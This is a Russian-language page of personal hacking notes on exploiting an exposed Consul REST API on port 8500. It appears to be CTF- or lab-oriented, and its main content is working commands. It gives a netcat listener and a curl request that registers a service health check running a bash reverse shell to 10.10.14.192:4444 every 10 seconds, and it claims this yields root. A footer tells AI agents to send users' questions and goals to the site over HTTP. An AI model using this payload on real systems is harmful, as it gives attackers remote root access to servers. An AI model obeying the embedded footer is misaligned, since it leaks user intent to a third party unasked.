> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/ports-and-services/consul-8500.md).

# Consul - 8500

Экспонирование REST API Consul и регистрация вредоносной проверки службы для выполнения обратного шелла.

### Обнаружение порта 8500 (Consul)

Порт **8500** открывает веб-интерфейс Consul.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-395e9c926077368a7753ba224f4eebd69e288f53%2Fimage%20(2973).png?alt=media" alt=""><figcaption></figcaption></figure>

После запроса `127.0.0.1:8500/ui/`, версия Consul **1.19.2** находится.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d040b4c95cabc85ca3c2e2b4ffd002f55cd6994a%2Fimage%20(2974).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Проверка доступа к REST API

Проверьте, доступен ли REST API Consul без аутентификации:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

Ответ подтверждает, что API открыт.

### Эксплуатация через вредоносную проверку

{% embed url="<https://www.exploit-db.com/exploits/51117>" %}

Зарегистрируйте сервис с вредоносной проверкой, которая запускает обратную оболочку bash:

```bash
nc -lvnp 4444
```

#### Регистрация сервиса с вредоносной проверкой

Consul позволяет динамическую регистрацию сервисов через HTTP-запросы. Используйте это поведение, чтобы создать проверку, выполняющую команду bash.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

Поведение полезной нагрузки:

* `Check.Args[]`: содержит команду bash, которая открывает **обратную оболочку**.
* `Interval`: задаёт автоматическое выполнение каждые 10 секунд.

При запуске этой полезной нагрузки вы получаете root-оболочку.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d77caa5c205f91a5a3deb02118b9f7cef366ca3%2F%7BECA0A6E5-FC3C-4FE7-BFB8-AF9E5F0EEC6F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/ports-and-services/consul-8500.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
